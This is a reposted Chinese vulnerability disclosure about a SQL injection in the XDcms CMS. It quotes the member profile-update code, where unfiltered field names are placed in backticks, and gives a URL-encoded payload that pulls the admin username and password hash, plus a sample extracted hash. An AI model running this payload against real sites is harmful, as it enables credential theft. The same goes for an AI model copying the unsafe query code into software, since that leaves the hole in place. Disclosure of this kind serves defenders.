来源:自学PHP网 时间:2015-04-15 15:00 作者: 阅读:次
[导读] 由于在修改过程中,未充分考虑到过滤参数,导致sql注入漏洞,利用反引号 绕过导致形成全版本注入漏洞http: www xdcms cn南宁旭东网络科技有限公司是致力于互联网技术研究应用、依托互...
由于在修改过程中,未充分考虑到过滤参数,导致sql注入漏洞,利用反引号· 绕过导致形成全版本注入漏洞
http://www.xdcms.cn
南宁旭东网络科技有限公司是致力于互联网技术研究应用、依托互联网络进行市场运营的高新技术科技团队。经过近一年时间的调研、研发、测试,2012年1月旭东科技推出了核心产品——XDcms订餐网站系统,系统依托于市场分析调查、可行性分析的基础之上提供在线订餐的整体解决方案,并相继推出手机版订餐、无线打印机等附加功能,获得了中华人民共和国国家版权局颁发的计算机软件著作权登记证书。
通过关键字搜索,旭东内容管理系统应用广泛,达到5000多站点采用该cms
由于在修改过程中,未充分考虑到过滤参数,导致sql注入漏洞,利用反引号· 绕过导致形成全版本注入漏洞
1、在system\modules\member\index.php 中
public function edit_save(){ $this->member_info(); $userid=intval(Cookie::_getcookie('member_userid')); $fields=$_POST['fields']; //修改资料 $field_sql=''; foreach($fields as $k=>$v){ $f_value=$v; if(is_array($v)){ $f_value=implode(',',$v); } $field_sql.=",`{$k}`='".safe_html($f_value)."'"; //这里产生漏洞 } $field_sql=substr($field_sql,1); $field_sql="update ".DB_PRE."member set {$field_sql} where userid={$userid}"; //echo $field_sql;exit(); $query=$this->mysql->query($field_sql); showmsg(C('update_success'),'index.php?m=member&f=edit'); }
然后当我们修改个人资料时候抓包
然后我们将truename值进行修改为
%60%3D%28select%20group_concat%28username%2C0x3a%2Cpassword%29%20from%20c_admin%20where%20id%3D1%29%23
其实这是urlencode编码了的,解码为 `=(select group_concat(username,0x3a,password) from c_admin where id=1)#
最终执行sql语句为
最终在姓名这里会显示管理员用户名和密码
admin:77dfa0aa87d044cf094643b3dd76c471
修复方案:
增加过滤,以及充分考虑传参过程?
|
自学PHP网专注网站建设学习,PHP程序学习,平面设计学习,以及操作系统学习
京ICP备14009008号-1@版权所有www.zixuephp.com
网站声明:本站所有视频,教程都由网友上传,站长收集和分享给大家学习使用,如由牵扯版权问题请联系站长邮箱904561283@qq.com